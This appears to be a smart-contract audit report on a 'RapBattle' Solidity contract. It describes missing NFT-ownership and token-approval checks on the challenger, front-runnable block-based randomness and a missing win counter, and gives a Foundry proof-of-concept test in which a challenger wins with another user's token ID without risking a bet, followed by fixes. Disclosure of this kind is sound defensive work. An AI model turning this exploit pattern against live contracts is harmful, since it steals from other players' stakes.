Summary
A malicious challenger can exploit another user's rapper skill statistics to manipulate the rap battle because there's no oneShot ERC721
hold or checks present to resist it. They have the capability to withhold approval for their cred ERC20
balance from RapBattle
as spender. Consequently, the defender is consistently vulnerable to losing the battle. If the challenger wins, the RapBattle
rewards them with the totalPrize
, which equals defenderBet + _credBet
. However, if the challenger loses, the RapBattle
attempts to reward the defender with the totalPrize. Due to the lack of approval or allowances to spend or transfer the cred ERC20
balance on behalf of the challenger, the protocol will never pay out. This enables the malicious challenger to profit by selectively giving up on unfavorable chances while still benefiting from winning scenarios.
Furthermore, the malicious challenger, who is aware of this security vulnerability, has another method to minimize their chances of losing. This aligns with what was mentioned in the first line of the paragraph above.
RapBattle.sol::_battle
function... at LOC#58. The else
branch of the RapBattle.sol::goOnStageOrBattle
function lacks ERC721 tokenId challenger's ownership hold or check.
function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
@> uint256 challengerRapperSkill = getRapperSkill(_tokenId);
...
...
...
}
RapBattle.sol::_battle
function... at LOC#73. The else
branch of the RapBattle.sol::goOnStageOrBattle
function lacks ERC20 CRED amount challenger's ownership hold or check. Although it is present, it has been commented out by the implementer of the RapBattle
contract. Consequently, a challenger is able to initiate a Rap Battle without approving any amount, thereby ensuring zero loss.
function _battle(uint256 _tokenId, uint256 _credBet) internal {
...
...
...
if (random <= defenderRapperSkill) {
credToken.transfer(_defender, defenderBet);
@> credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
credToken.transfer(msg.sender, _credBet);
}
...
...
...
}
In the RapBattle::goOnStageOrBattle
function, there are no approval checks or transfers of ERC721
and ERC20
tokens to RapBattle
in the challenger's branch or the _battle
internal function. It appears that the implementer may have been confused during the implementation process. Please refer to the comments provided in code snippet below at the bottom of the summary, where I addressed the overall issues.
Additionally, another flaw is present in the utilization of a flawed RNG mechanism for winner selection. The properties used to evaluate the RNGβblock.timestamp
, block.prevrandao
, and msg.sender
βare all susceptible to front-running by either a miner or an MEV Bot.
RapBattle.sol::_battle
function... at LOC#62
function _battle(uint256 _tokenId, uint256 _credBet) internal {
...
...
...
β
@> uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
β
...
...
...
}
Furthermore, consider utilizing the safeTransferFrom
function provided by openzeppelin's ERCs instead of transferFrom
to ensure resistance to reentrancy issues. However, it's important to note that reentrancy cannot occur due to ERC721 reverts on double spend approvals.
RapBattle.sol::goOnStageOrBattle
function at LOC#46
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
β
emit OnStage(msg.sender, _tokenId, _credBet);
β
@> oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
@> credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
_battle(_tokenId, _credBet);
}
}
RapBattle.sol::_battle
function at LOC#80
function _battle(uint256 _tokenId, uint256 _credBet) internal {
...
...
...
β
if (random <= defenderRapperSkill) {
@> credToken.transfer(_defender, defenderBet);
@> credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
@> credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
@> oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}
If we pay closer attention to the _battle
function, we notice that there are no corresponding increments for battlesWon
after either the defender or challenger wins. However Protocol's Docs say that...
The Rapper NFT.
β
Users mint a rapper that begins with all the flaws and self-doubt we all experience.
NFT Mints with the following properties:
β
- `weakKnees` - True
- `heavyArms` - True
- `spaghettiSweater` - True
- `calmandReady` - False
- `battlesWon` - 0
β
@> The only way to improve these stats is by staking in the `Streets.sol`: <- Read this line here π
RapBattle.sol::_battle
function at LOC#70. The logic to update the user's battlesWon
is missing in both branches of the if-else statement.
function _battle(uint256 _tokenId, uint256 _credBet) internal {
...
...
...
β
@> if (random <= defenderRapperSkill) {
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
@> } else {
credToken.transfer(msg.sender, _credBet);
}
...
...
...
}
Two additional issues need addressing also. Firstly, the RapBattle
contract ultimately holds at least one ERC721 NFT. Consequently, it should include an onERC721Received
function with proper inheritance, similar to the Streets
contract. Secondly, the RapBattle
contract imports the Credibility
contract, but it is not utilized anywhere; instead, its interface is used.
Note: I am already aware of BASE_SKILL = 65
, and, GAS inefficient getRapperSkill
function, in the current RapBattle. Therefore mentioned in another findings, Please refer them also if needed here.
While it's currently possible for a defender to also become their own challenger, they don't earn anything regardless of winning or losing. This issue could potentially be automatically addressed by the mitigations listed below. However, it should be resistant to exploitation.
RapBattle.sol
All overall issues have been addressed, including those minor ones that were not explicitly mentioned above.
pragma solidity ^0.8.20;
β
import {IOneShot} from "./interfaces/IOneShot.sol";
import {Credibility} from "./CredToken.sol";
import {ICredToken} from "./interfaces/ICredToken.sol";
β
contract RapBattle {
...
...
...
β
β
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
β
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
β
@> } else {
||<----------// credToken.transferFrom(msg.sender, address(this), _credBet);
|| _battle(_tokenId, _credBet);
|| }
|| }
||
|| function _battle(uint256 _tokenId, uint256 _credBet) internal {
|| address _defender = defender;
||----->require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
|| uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
||--|--->
||--|-->uint256 challengerRapperSkill = getRapperSkill(_tokenId);
|| | uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
||--|--->
||--|--->uint256 totalPrize = defenderBet + _credBet;
|| |--->
|| |
|| | uint256 random =
|| | uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
|| |
|| |
|| | defender = address(0);
|| | emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
|| |
|| |
|| | if (random <= defenderRapperSkill) {
|| |
|| |
|| | credToken.transfer(_defender, defenderBet);
||--|------>
||--|------>credToken.transferFrom(msg.sender, _defender, _credBet);
|| | } else {
||--|-----|>
| | credToken.transfer(msg.sender, _credBet);
| } |
| |----------------------|
| totalPrize = 0; <--------| //<------------- dEaD LoC
|
|---------------->π
| oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
|}
|
|function getRapperSkill(uint256 _tokenId) public view returns (uint256 finalSkill) {
|-->IOneShot.RapperStats memory stats = oneShotNft.getRapperStats(_tokenId);
| finalSkill = BASE_SKILL;
|-->
if (stats.weakKnees) {
finalSkill -= VICE_DECREMENT;
}
if (stats.heavyArms) {
finalSkill -= VICE_DECREMENT;
}
if (stats.spaghettiSweater) {
finalSkill -= VICE_DECREMENT;
}
if (stats.calmAndReady) {
finalSkill += VIRTUE_INCREMENT;
}
}
}
Vulnerability Details
-
Proof of concept for how challengers can exploit others' rapper stats to guarantee profit in rap battles regardless of wins and losses. Let's consider a scenario involving a user named Raftaar
and his interactions within the rap battle system:
Raftaar
creates(mints) his rapper with default stats.
He stakes his oneShot rapper NFT to earn Cred
and gain experience.
After one day, he unstakes and earns 1 Cred ERC20
, and his rapper's stats are updated based on the experience gained.
Raftaar's
rapper stats: weakKnees: false, heavyArms: true, spaghettiSweater: true, calmAndReady: false, battlesWon: 0
Raftaar
randomly checks the stats of other users' rappers and finds:
Alice: weakKnees: false, heavyArms: true, spaghettiSweater: true, calmAndReady: false, battlesWon: 0
Slim Shady: weakKnees: false, heavyArms: false, spaghettiSweater: false, calmAndReady: true, battlesWon: 0
Aware of the absence of holds and checks for ERC721 token IDs, Raftaar
decides to exploit these vulnerabilities.
He waits and discovers that Alice
is now a defender with the same rapper stats as his own.
Realizing he can battle without approving any amount to RapBattle
and knowing there are no holds or checks for the challenger's Cred ERC20
, Raftaar
decides to explore further.
Raftaar
searches for a user with healthier rapper stats and finds Slim Shady
.
First he decides to challenge Alice
using his own token ID. He Loses.
Secondly, he decides to challenge Alice
using Alice
token ID. He Loses.
In the end, he decides to challenge Alice
using Slim Shady's
ERC721 token ID, knowing that even if he loses, nobody can spend his Cred.
As anticipated, Raftaar
wins the battle after strategically giving up on some unfavorable battles.
PoC: Raftaar always earns
Put the test code below into OneShotTest.sol
at the very bottom but before closing }
.
function testChallengerCanUseAnyRappersStatsAndDontNeedToApproveAnyERCs() public {
vm.startPrank(user);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
β
vm.startPrank(challenger);
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
β
vm.warp(1 days + 1);
β
vm.startPrank(user);
streets.unstake(0);
vm.stopPrank();
β
vm.warp(block.timestamp + 3 days + 1);
β
vm.startPrank(challenger);
streets.unstake(1);
vm.stopPrank();
β
address raftaar = makeAddr("RAFTAAR");
β
vm.startPrank(raftaar);
oneShot.mintRapper();
oneShot.approve(address(streets), 2);
streets.stake(2);
vm.stopPrank();
β
vm.warp(block.timestamp + 1 days + 1);
β
vm.startPrank(raftaar);
streets.unstake(2);
vm.stopPrank();
β
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 1);
rapBattle.goOnStageOrBattle(0, 1);
vm.stopPrank();
β
vm.startPrank(raftaar);
OneShot.RapperStats memory aliceRapperStats = oneShot.getRapperStats(0);
β
OneShot.RapperStats memory slimShadyRapperStats = oneShot.getRapperStats(1);
β
OneShot.RapperStats memory raftaarRapperStats = oneShot.getRapperStats(2);
β
console2.log("aliceRapperStats - weakKnees, heavyArms, spaghettiSweater, calmAndReady, battlesWon:` ");
console2.log(aliceRapperStats.weakKnees);
console2.log(aliceRapperStats.heavyArms);
console2.log(aliceRapperStats.spaghettiSweater);
console2.log(aliceRapperStats.calmAndReady);
console2.log(aliceRapperStats.battlesWon);
β
console2.log("slimShadyRapperStats - weakKnees, heavyArms, spaghettiSweater, calmAndReady, battlesWon:` ");
console2.log(slimShadyRapperStats.weakKnees);
console2.log(slimShadyRapperStats.heavyArms);
console2.log(slimShadyRapperStats.spaghettiSweater);
console2.log(slimShadyRapperStats.calmAndReady);
console2.log(slimShadyRapperStats.battlesWon);
β
console2.log("raftaarRapperStats - weakKnees, heavyArms, spaghettiSweater, calmAndReady, battlesWon:` ");
console2.log(raftaarRapperStats.weakKnees);
console2.log(raftaarRapperStats.heavyArms);
console2.log(raftaarRapperStats.spaghettiSweater);
console2.log(raftaarRapperStats.calmAndReady);
console2.log(raftaarRapperStats.battlesWon);
β
β
vm.expectRevert();
rapBattle.goOnStageOrBattle(2, 1);
β
vm.expectRevert();
rapBattle.goOnStageOrBattle(0, 1);
β
vm.recordLogs();
rapBattle.goOnStageOrBattle(1, 1);
vm.stopPrank();
β
Vm.Log[] memory recordedLogs = vm.getRecordedLogs();
address winner = address(uint160(uint256(recordedLogs[1].topics[2])));
uint256 winnerBalance = cred.balanceOf(raftaar);
β
console2.log("winner:", winner);
console2.log("raftaar: ", raftaar);
console2.log("winner aka raftaar's cred balance:", winnerBalance);
β
assertEq(winner, raftaar);
assertEq(winnerBalance, 2);
}
Open the bash terminal and execute the cmd below...
forge test --mt "testChallengerCanUseAnyRappersStatsAndDontNeedToApproveAnyERCs" -vv
See the output...
Ran 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] testChallengerCanUseAnyRappersStatsAndDontNeedToApproveAnyERCs() (gas: 850559)
Logs:
aliceRapperStats - weakKnees, heavyArms, spaghettiSweater, calmAndReady, battlesWon:`
false
true
true
false
0
slimShadyRapperStats - weakKnees, heavyArms, spaghettiSweater, calmAndReady, battlesWon:`
false
false
false
true
0
raftaarRapperStats - weakKnees, heavyArms, spaghettiSweater, calmAndReady, battlesWon:`
false
true
true
false
0
winner: 0xB87de17cA35cc37c1AC0E451C190853A54125da6
raftaar: 0xB87de17cA35cc37c1AC0E451C190853A54125da6
winner aka raftaar's cred balance: 2
β
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.12ms
β
Ran 1 test suite in 9.12ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
As evident from the test results, the test passes, and Raftaar
consistently earns. The significant factor is that he never incurs charges for Cred if he loses. He also used slim shady's ERC721 token ID.
-
Proof of concept for how a MEV Bot or a miner can exploit the implemented flawed pseudo RNG:
The deployer deploys the complete OneShot
Protocol, including all necessary contracts such as the RapBattle
contract.
Initially, a MEV Bot engages with the protocol, participating either as a challenger or a defender in a Rap Battle. The MEV Bot holds the transaction and strategically places it in a favorable block to ensure a win, releasing it at an opportune moment.
Similarly, a miner becomes aware of the flawed pseudo RNG present in the block and decides to front-run it. The miner also participates in a rap battle, holding the block containing the transaction and releasing it in their favor.
-
Proof of concept illustrating how the protocol is failing to update the winner's rapper's battlesWon
stats property.
Suppose a rap battle has commenced between Alice and Bob.
Now, let's assume that Alice emerged as the winner of the rap battle.
However, upon checking her stats, Alice discovered that her rapper's battlesWon
property hadn't been updated, despite her balance being correct.
PoC: Fails to increment battlesWon Count
Put the test code below into OneShotTest.sol
at the very bottom but before closing }
.
function testWinnerRappersBattlesWonCountNotUpdates() public {
address bob = makeAddr("BOB");
address alice = makeAddr("ALICE");
β
vm.startPrank(alice);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
β
vm.warp(1 days + 1);
β
vm.startPrank(alice);
streets.unstake(0);
vm.stopPrank();
β
vm.startPrank(bob);
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
β
vm.warp(block.timestamp + 4 days + 1);
β
vm.startPrank(bob);
streets.unstake(1);
vm.stopPrank();
β
vm.startPrank(alice);
cred.approve(address(rapBattle), 1);
oneShot.approve(address(rapBattle), 0);
rapBattle.goOnStageOrBattle(0, 1);
vm.stopPrank();
β
vm.startPrank(bob);
cred.approve(address(rapBattle), 1);
oneShot.approve(address(rapBattle), 1);
vm.recordLogs();
rapBattle.goOnStageOrBattle(1, 1);
vm.stopPrank();
β
Vm.Log[] memory recordedLogs = vm.getRecordedLogs();
address winner = address(uint160(uint256(recordedLogs[2].topics[2])));
uint256 winnerBalance = cred.balanceOf(winner);
address ownerBobTokenId = oneShot.ownerOf(0);
address ownerAliceTokenId = oneShot.ownerOf(1);
β
console2.log("Alice's token id owner: ", ownerAliceTokenId);
console2.log("Bob's token Id owner: ", ownerBobTokenId);
β
console2.log("alice address: ", alice);
console2.log("bob address: ", bob);
console2.log("winner:", winner);
console2.log("winner aka alice's cred balance:", winnerBalance);
β
OneShot.RapperStats memory winnerAkaAliceStats = oneShot.getRapperStats(0);
console2.log("winner aka alice' rappers updated stats: ");
console2.log(winnerAkaAliceStats.weakKnees);
console2.log(winnerAkaAliceStats.heavyArms);
console2.log(winnerAkaAliceStats.spaghettiSweater);
console2.log(winnerAkaAliceStats.calmAndReady);
console2.log(winnerAkaAliceStats.battlesWon);
console2.log("-----------");
β
assertEq(winnerBalance, 2);
assertEq(winner, alice);
}
Open the bash terminal and execute the cmd below...
forge test --mt "testWinnerRappersBattlesWonCountNotUpdates" -vv
See the output...
Ran 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] testWinnerRappersBattlesWonCountNotUpdates() (gas: 677649)
Logs:
Alice's token id owner: 0xa53b369bDCbe05dcBB96d6550C924741902d2615
Bob's token Id owner: 0xef211076B8d8b46797E09c9a374Fb4Cdc1dF0916
alice address: 0xef211076B8d8b46797E09c9a374Fb4Cdc1dF0916
bob address: 0xa53b369bDCbe05dcBB96d6550C924741902d2615
winner: 0xef211076B8d8b46797E09c9a374Fb4Cdc1dF0916
winner aka alice's cred balance: 2
winner aka alice
weakKnees: false
heavyArms: true
spaghettiSweater: true
calmAndReady: false
battlesWon: 0 <- π here
-----------
β
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.07ms
β
Ran 1 test suite in 6.07ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
As observed, there is no increment in Alice's rapper's battlesWon
stat property.
Proof of concept for, Self challenger with zero or more cred Tokens.
As a user could potentially claim illegitimate winnings if we take the respective increments of battlesWon
into account.
One possible scenario is a self-challenger with zero or more CRED, after addressing all the identified issues, resulting in illegitimate increments in the winner's rapper's battlesWon
count stats property.
Impact
The impact of all the vulnerabilities within (RapBattle::_battle
function) is highly severe or IMO Highly CRITICAL
.
-
Only the challenger can profit in the battle; however, if the defender wins, the transaction is reverted, which is unfair to the defender. This exploit can occur frequently whenever a defender is waiting for a challenger.
-
The malicious challenger can further exploit the situation by accessing anyone's rapper stats, including the defender's.
-
Furthermore, users, miners, or bots don't even need to exploit the flawed RNG due to the initial lack of oneshot (ERC721) and cred (ERC20) approvals and checks.
-
After addressing all the discussed issues, the issue of a "self-challenger" with "0 or more CREDs" still remains, which could potentially result in the increment of the winner's rapper stats property battlesWon
count. It should be resistant to exploitation because they could essentially increase their rapper reputation in the competition.
The absence of checks and holds for the challenger's ERC721 and ERC20 tokens increases the likelihood of these exploits occurring, which should be considered critical. This significantly undermines the overall behavior of RapBattle
and leaves the defender's funds as well as protocol itself completely vulnerable. Thus, IMO the lack of ERCs ownership approval holds and checks is the root cause of all issues.
Indeed, given the circumstances described:
The likelihood is assessed as High in most cases.
Given the utilization of a flawed RNG, front-running remains a possibility even if other issues are mitigated. Therefore, the severity is also considered High.
Therefore, the overall impact is classified as either High or Critical (Critical IMO).
Tools Used
Manual review, Foundry, console2
Recommendations
There are a few mitigation methods...
It is crucial to prioritize the mitigation of the "BAD FLAWED RNG" due to its vulnerability to Front-Running
. To mitigate this issue, we can implement a Truly Fair Guaranteed Randomness mechanism using the VRF (Verifiable Random Function)
Randomness mechanism offered by Chainlink
. Please refer to their documentation for further details.
After addressing the vulnerability in the winner selection RNG, update RapBattle.sol
by implementing one of the recommended mitigations to resolve the remaining issues outlined below.
-
Mitigation (First):
-
Implement a robust ownership verification system for ERC721 tokenIDs in the RapBattle
contract.
-
Enforce strict validation checks for ERC tokens approvals during rap battles to ensure or force challengers to pay on losses.
src/RapBattle.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
β
import {IOneShot} from "./interfaces/IOneShot.sol";
- import {Credibility} from "./CredToken.sol";
import {ICredToken} from "./interfaces/ICredToken.sol";
+ import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
+ import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
β
- contract RapBattle {
+ contract RapBattle is IERC721Receiver {
+ using SafeERC20 for ICredToken;
...
...
...
β
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
+ require(_credBet > 0, "RapBattle: Bet amount can't be 0");
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
β
emit OnStage(msg.sender, _tokenId, _credBet);
β
- oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
+ oneShotNft.safeTransferFrom(msg.sender, address(this), _tokenId);
- credToken.transferFrom(msg.sender, address(this), _credBet);
+ credToken.safeTransferFrom(msg.sender, address(this), _credBet);
} else {
- // credToken.transferFrom(msg.sender, address(this), _credBet);
+ oneShotNft.safeTransferFrom(msg.sender, address(this), _tokenId);
+ credToken.safeTransferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}
β
function _battle(uint256 _tokenId, uint256 _credBet) internal {
- address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
+ address _defender = defender;
+ uint256 _defenderBet = defenderBet;
+ uint256 _defenderTokenId = defenderTokenId;
- uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
+ uint256 defenderRapperSkill = getRapperSkill(_defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
- uint256 totalPrize = defenderBet + _credBet;
+ uint256 totalPrize = _defenderBet + _credBet;
β
// use chainlink VRF mechanism instead of this π
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
β
// Reset the defender
defender = address(0);
emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
β
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
- credToken.transfer(_defender, defenderBet);
- credToken.transferFrom(msg.sender, _defender, _credBet);
+ credToken.safeTransfer(_defender, totalPrize);
} else {
- // Otherwise, since the challenger never sent us the money, we just give the money in the contract
- credToken.transfer(msg.sender, _credBet);
+ credToken.safeTransfer(msg.sender, totalPrize);
}
totalPrize = 0;
- // Return the defender's NFT
+ // Return the challenger's and defender's NFT
- oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
+ oneShotNft.safeTransferFrom(address(this), _defender, _defenderTokenId);
+ oneShotNft.safeTransferFrom(address(this), msg.sender, _tokenId);
}
...
...
...
β
+ // Implementing IERC721Receiver so the contract can accept ERC721 tokens
+ function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
+ return IERC721Receiver.onERC721Received.selector;
+ }
}
After updating RapBattle.sol
with the proposed mitigation to defend against the Challengers' Use of Others' TokenIDs and Failure to Pay on Losses, we also introduce one layer of Reentrancy resistance.
However remember, there's no logic for battlesWon
respective increments. As Protocol's Docs say that...
The Rapper NFT.
β
Users mint a rapper that begins with all the flaws and self-doubt we all experience.
NFT Mints with the following properties:
β
- `weakKnees` - True
- `heavyArms` - True
- `spaghettiSweater` - True
- `calmandReady` - False
- `battlesWon` - 0
β
@> The only way to improve these stats is by staking in the `Streets.sol`: <- Read this line here π
-
Mitigation (First + this): Please proceed with updating RapBattle.sol
, incorporating the previous tweaks and updates along with the suggested mitigation.
-
If this is the case, we might need to implement an initialization function in Streets.sol
with owner access controls to store the RapBattle
contract address for future ease. This way, we could invoke the stake
and unstake
functions of the Streets
contract and the updateRapperStats
function after confirming that the invocation was indeed made by RapBattle
to update the winner's rapper's stats.
-
However, this approach has another flaw. The RapBattle
contract would have to participate in staking either for incentive or for free, depending on whether we invoke the stake
function whenever a defender comes for a battle and unstake
on winner selection (earning incentive), or if we invoke the stake
and unstake
functions on winner selection (earning no incentive). This approach is illogical because if we do this, the RapBattle
contract won't have any rapper, and therefore would have default hypothetical rapper stats. Thus, this implementation doesn't make sense because RapBattle
is a platform itself, not a user or person. It shouldn't need to earn an incentive, a cut from the protocol, not from users, for the protocol. In the End we just need to update the user's battlesWon
stat only not all the stats.
-
Alternatively, we could follow another approach where we allow the RapBattle
contract's address to be an allowed address, along with the Streets
contract, in OneShot.sol
. This would enable the RapBattle
contract to update the user's rapper's stats (specifically the battlesWon
property) with proper authority and access control. By adding the RapBattle
contract's address to the list of allowed contracts in OneShot.sol
, adversaries are prevented from deploying a malicious RapBattle
contract on any Ethereum chain, including Arbitrum.
src/interfaces/ICredToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
β
+ import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
β
- interface ICredToken {
+ interface ICredToken is IERC20 {
function decimals() external returns (uint8);
β
- function approve(address to, uint256 amount) external;
β
- function transfer(address to, uint256 amount) external;
β
- function transferFrom(address from, address to, uint256 amount) external;
β
- function balanceOf(address user) external returns (uint256 balance);
}
src/OneShot.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
β
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {ERC721URIStorage, ERC721} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
- import {Credibility} from "./CredToken.sol";
import {IOneShot} from "./interfaces/IOneShot.sol";
import {Streets} from "./Streets.sol";
+ import {RapBattle} from "./RapBattle.sol";
β
contract OneShot is IOneShot, ERC721URIStorage, Ownable {
uint256 private _nextTokenId;
Streets private _streetsContract;
+ RapBattle private _rapBattleContract;
β
...
...
...
β
- // configures streets contract address
+ // configures streets and RapBattle contracts addresses
- function setStreetsContract(address streetsContract) public onlyOwner {
+ function setAllowedContracts(address streetsContract, address rapBattleContract) public onlyOwner {
_streetsContract = Streets(streetsContract);
+ _rapBattleContract = RapBattle(rapBattleContract);
}
β
- modifier onlyStreetContract() {
+ modifier onlyAllowedContracts() {
- require(msg.sender == address(_streetsContract), "Not the streets contract");
+ require(
+ msg.sender == address(_streetsContract) || msg.sender == address(_rapBattleContract),
+ "Not the streets or RapBattle contract"
+ );
_;
}
β
...
...
...
β
function updateRapperStats(
uint256 tokenId,
bool weakKnees,
bool heavyArms,
bool spaghettiSweater,
bool calmAndReady,
uint256 battlesWon
- ) public onlyStreetContract {
+ ) public onlyAllowedContracts {
RapperStats storage metadata = rapperStats[tokenId];
metadata.weakKnees = weakKnees;
metadata.heavyArms = heavyArms;
metadata.spaghettiSweater = spaghettiSweater;
metadata.calmAndReady = calmAndReady;
metadata.battlesWon = battlesWon;
}
β
...
...
...
}
src/RapBattle.sol:
(With Last Updates)
...
...
...
β
function _battle(uint256 _tokenId, uint256 _credBet) internal {
...
...
...
β
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.safeTransfer(_defender, totalPrize);
+ IOneShot.RapperStats memory defenderRapperStats = oneShotNft.getRapperStats(_defenderTokenId);
β
+ oneShotNft.updateRapperStats(
+ _defenderTokenId,
+ defenderRapperStats.weakKnees,
+ defenderRapperStats.heavyArms,
+ defenderRapperStats.spaghettiSweater,
+ defenderRapperStats.calmAndReady,
+ defenderRapperStats.battlesWon + 1
+ );
} else {
credToken.safeTransfer(msg.sender, totalPrize);
+ IOneShot.RapperStats memory challengerRapperStats = oneShotNft.getRapperStats(_tokenId);
β
+ oneShotNft.updateRapperStats(
+ _tokenId,
+ challengerRapperStats.weakKnees,
+ challengerRapperStats.heavyArms,
+ challengerRapperStats.spaghettiSweater,
+ challengerRapperStats.calmAndReady,
+ challengerRapperStats.battlesWon + 1
+ );
}
...
...
...
}
...
...
...
}
β
...
...
...